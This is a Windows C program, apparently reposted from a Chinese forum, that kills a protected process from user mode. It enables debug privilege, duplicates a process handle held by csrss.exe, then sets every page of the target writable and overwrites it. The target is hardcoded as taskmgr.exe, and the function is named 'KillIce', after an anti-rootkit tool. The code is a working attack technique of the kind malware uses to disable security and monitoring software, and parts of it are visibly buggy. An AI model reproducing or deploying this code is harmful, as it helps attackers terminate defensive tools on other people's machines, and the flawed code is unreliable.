Ring3内存清0结束进程2

/* This simple app demonstrates how to kill process by writing process's memory.
Write by EP_X0FF and DNY,I just extract it to C ---- zjjmj2002
*/
#include <Windows.h> 
#include <Ntsecapi.h> 
#include <Aclapi.h>
#include <tlhelp32.h> 

#pragma comment (lib,"ntdll.lib") // Copy From DDK 
#pragma comment (lib,"Kernel32.lib") 
#pragma comment (lib,"Advapi32.lib") 
#pragma comment(linker, "/ENTRY:main")

//------------------ 数据类型声明开始 --------------------//
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
ULONG PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 
typedef struct _SYSTEM_MODULE_INFORMATION { 
ULONG Reserved[2]; 
PVOID Base; 
ULONG Size; 
ULONG Flags; 
USHORT Index; 
USHORT Unknown; 
USHORT LoadCount; 
USHORT ModuleNameOffset; 
CHAR ImageName[256]; 
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; 

typedef struct _OBJECT_ATTRIBUTES { 
ULONG Length; 
HANDLE RootDirectory; 
PUNICODE_STRING ObjectName; 
ULONG Attributes; 
PVOID SecurityDescriptor; 
PVOID SecurityQualityOfService; 
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 

typedef enum _SECTION_INHERIT { 
ViewShare = 1, 
ViewUnmap = 2 
} SECTION_INHERIT; 

typedef struct _MY_PROCESS_INFO { 
ULONG PID; 
ULONG KPEB; 
ULONG CR3; 
CHAR Name[16]; 
ULONG Reserved; 
} MY_PROCESS_INFO, *PMY_PROCESS_INFO;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID; 

typedef long NTSTATUS; 
//------------------ 数据类型声明结束 --------------------// 

//--------------------- 预定义开始 -----------------------// 
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 
#define STATUS_SUCCESS 0x00000000 
#define STATUS_UNSUCCESSFUL 0xC0000001 
#define STATUS_NOT_IMPLEMENTED 0xC0000002 
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 
#define STATUS_INVALID_PARAMETER 0xC000000D 
#define STATUS_ACCESS_DENIED 0xC0000022 
#define STATUS_BUFFER_TOO_SMALL 0xC0000023 
#define OBJ_KERNEL_HANDLE 0x00000200 
#define SystemModuleInformation 11
#define SystemHandleInformation 0x10 

#define InitializeObjectAttributes( p, n, a, r, s ) { (p)->Length = sizeof( OBJECT_ATTRIBUTES );(p)->RootDirectory = r; (p)->Attributes = a; (p)->ObjectName = n; (p)->SecurityDescriptor = s; (p)->SecurityQualityOfService = NULL; } 
//--------------------- 预定义结束 -----------------------// 

//------------------ Native API声明开始 ------------------// 

NTSYSAPI 
NTSTATUS 
NTAPI 
ZwQuerySystemInformation( 
ULONG SystemInformationClass, 
PVOID SystemInformation, 
ULONG SystemInformationLength, 
PULONG ReturnLength 
); 
NTSYSAPI 
NTSTATUS
NTAPI
ZwOpenProcess(

OUT PHANDLE ProcessHandle,
IN ACCESS_MASK AccessMask,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId );
NTSYSAPI 
NTSTATUS
NTAPI
ZwAllocateVirtualMemory(

IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG RegionSize,
IN ULONG AllocationType,
IN ULONG Protect );
NTSYSAPI 
NTSTATUS
NTAPI
ZwDuplicateObject(

IN HANDLE SourceProcessHandle,
IN PHANDLE SourceHandle,
IN HANDLE TargetProcessHandle,
OUT PHANDLE TargetHandle,
IN ACCESS_MASK DesiredAccess OPTIONAL,
IN BOOLEAN InheritHandle,
IN ULONG Options );
NTSYSAPI 
NTSTATUS
NTAPI
ZwQueryInformationProcess(

IN HANDLE ProcessHandle,
IN PVOID    ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength );
NTSYSAPI 
NTSTATUS
NTAPI
ZwProtectVirtualMemory(

IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG NumberOfBytesToProtect,
IN ULONG NewAccessProtection,
OUT PULONG OldAccessProtection );
NTSYSAPI 
NTSTATUS
NTAPI
ZwWriteVirtualMemory(

IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL );

NTSYSAPI 
NTSTATUS
NTAPI
ZwClose(

IN HANDLE ObjectHandle );

NTSYSAPI 
NTSTATUS
NTAPI
ZwFreeVirtualMemory(

IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN OUT PULONG RegionSize,
IN ULONG FreeType );

//------------------ Native API声明结束 ------------------// 

//------------------ 程序正式开始 ------------------// 

DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32={0};
DWORD dwRet=0;

hProcessSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hProcessSnap == INVALID_HANDLE_VALUE)return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap, &pe32))
{
do
{
if(lstrcmpi(szName,pe32.szExeFile)==0)
{
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,&pe32));
}
else return 0;

if(hProcessSnap !=INVALID_HANDLE_VALUE)CloseHandle(hProcessSnap);
return dwRet;
}

void KillIce(ULONG dwProcessId) 
{ 
HANDLE ph, h_dup;
ULONG bytesIO;
PVOID buf;
ULONG i;
CLIENT_ID cid1;
OBJECT_ATTRIBUTES attr;
HANDLE csrss_id;
HANDLE SnapShotHandle;
PROCESS_BASIC_INFORMATION pbi;
PVOID p0, p1;
ULONG sz, oldp;
ULONG NumOfHandle;
PSYSTEM_HANDLE_INFORMATION h_info; 

csrss_id = (HANDLE)GetPidByName("csrss.exe");
attr.Length = sizeof(OBJECT_ATTRIBUTES);
attr.RootDirectory = 0;
attr.ObjectName = 0;
attr.Attributes = 0;
attr.SecurityDescriptor = 0;
attr.SecurityQualityOfService = 0;

cid1.UniqueProcess = csrss_id;
cid1.UniqueThread = 0;
ZwOpenProcess(&ph, PROCESS_ALL_ACCESS, &attr, &cid1);

bytesIO = 0x400000;
buf = 0;
ZwAllocateVirtualMemory(GetCurrentProcess(), &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE);
ZwQuerySystemInformation(SystemHandleInformation, buf, 0x400000, &bytesIO);
NumOfHandle = (ULONG)buf;
h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for (i= 0 ; i<NumOfHandle; i++)
{
if ((h_info .ProcessId == (ULONG)csrss_id)&&(h_info.ObjectTypeNumber == 5))
{
if (ZwDuplicateObject(ph, (PHANDLE)h_info.Handle, (HANDLE)-1, &h_dup,
0, 0, DUPLICATE_SAME_ACCESS) == STATUS_SUCCESS)
ZwQueryInformationProcess(h_dup, 0, &pbi, sizeof(pbi), &bytesIO);
if (pbi.UniqueProcessId == dwProcessId)
{
MessageBox(0, "目标已确定!", "OK", MB_OK);
for (i = 0x1000; i<0x80000000; i = i + 0x1000)
{
p0 = (PVOID)i;
p1 = p0;
sz = 0x1000;
if (ZwProtectVirtualMemory(h_dup, &p1, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS)
{ 
ZwWriteVirtualMemory(h_dup, p0, buf, 0x1000, &oldp);
} 
}
MessageBox(0, "任务已完成！","OK", 0);
ZwClose(h_dup); 
}
}
}

bytesIO = 0;
ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM_RELEASE);


}
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL,szPrivName,&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
return((GetLastError() == ERROR_SUCCESS));
}
void main() 
{ 
ULONG Pid;
HANDLE hToken;
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken);
EnablePrivilege(hToken,SE_DEBUG_NAME,TRUE);
if (Pid = GetPidByName("taskmgr.exe"))
{
KillIce(Pid);
} 
ExitProcess(0);
}